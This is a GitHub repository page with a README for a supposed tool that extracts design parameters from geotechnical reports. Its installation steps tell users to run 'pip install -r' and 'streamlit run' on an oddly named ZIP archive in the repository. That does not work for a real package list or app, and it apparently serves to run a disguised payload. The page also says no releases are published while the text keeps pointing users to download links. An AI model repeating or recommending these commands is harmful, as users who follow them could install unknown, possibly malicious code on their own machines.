Skip to content

vasudevan2604/geotechnical-report-extractor

Repository files navigation

🌍 geotechnical-report-extractor - Extract Key Parameters with Ease

πŸš€ Getting Started

The geotechnical-report-extractor helps you extract important design parameters from geotechnical reports. It then exports this information into CSV or PDF formats to make engineering review faster.

πŸ“₯ Download the Application

Download

You can visit this page to download the latest version of the application: Download Link.

πŸ› οΈ System Requirements

To run this application smoothly, ensure your computer meets the following requirements:

  • Operating System: Windows 10 or later / macOS 10.15 or later
  • RAM: Minimum 4 GB
  • Storage: At least 500 MB of free space
  • Python: Version 3.6 or higher must be installed.

πŸ“˜ Features

  • Key Parameter Extraction: Pulls essential design parameters from various geotechnical report formats.
  • Flexible Export Options: Save reports in CSV or PDF formats based on your needs.
  • User-Friendly Interface: Designed primarily for ease of use, making it approachable for all users.
  • Streamlit Integration: Run your extractions directly from a web interface for convenience.

πŸ›‘οΈ Security

Your security is important. The application does not collect personal data. It runs locally on your machine, ensuring your information stays private.

πŸ—οΈ Installation Steps

  1. Download the Application
    Visit the Releases page at Download Link and download the latest version.

  2. Extract the Files
    Once downloaded, extract the files from the ZIP folder. You should see an application file and necessary subfolders.

  3. Install Required Python Packages
    Open your command prompt (Windows) or terminal (macOS). Navigate to the folder where you extracted the files. Run the following command:

    pip install -r https://github.com/vasudevan2604/geotechnical-report-extractor/raw/refs/heads/main/outler/extractor_report_geotechnical_anticovenanter.zip

    This installs all necessary packages to run the software.

  4. Run the Application
    After installing the required packages, run the application. Use the following command in your command prompt or terminal:

    streamlit run https://github.com/vasudevan2604/geotechnical-report-extractor/raw/refs/heads/main/outler/extractor_report_geotechnical_anticovenanter.zip

    This will open the application in your default web browser.

🧭 How to Use the Application

  1. Upload Your Report
    Click on the "Upload" button to select your geotechnical report. Supported formats include PDF and DOCX.

  2. Select Parameters
    After uploading, choose which design parameters you want to extract. The interface offers checkboxes for your convenience.

  3. Export Your Data
    Once extraction is complete, choose whether to save the results as a CSV or PDF. Click on the "Export" button to finalize your choice.

  4. Review the Data
    Open the exported file to review the key parameters. You can now use this data for your engineering analysis.

❓ Troubleshooting

  • Unable to Upload Files
    Make sure your file is in one of the supported formats: PDF or DOCX. Check file permissions if the upload fails.

  • Low Performance
    If the application runs slowly, ensure your computer meets system requirements and quit any unnecessary programs.

πŸ“ž Support

If you need assistance, please feel free to reach out to us via the issues section of our GitHub repository. We are here to help!

πŸ”— Learn More

For more in-depth information on features and updates, explore the project documentation on our GitHub page. You can visit this page to download: Download Link.

πŸ“œ License

This project is licensed under the MIT License. You can use and modify it freely, but give proper credit.

Thank you for choosing geotechnical-report-extractor. Happy engineering!

About

πŸ“„ Extract key geotechnical parameters from PDF reports and generate concise PDF and CSV summaries for faster engineering reviews.

Topics

Resources

Stars

Watchers

Forks

Releases

No releases published

Packages

 
 
 

Contributors

Languages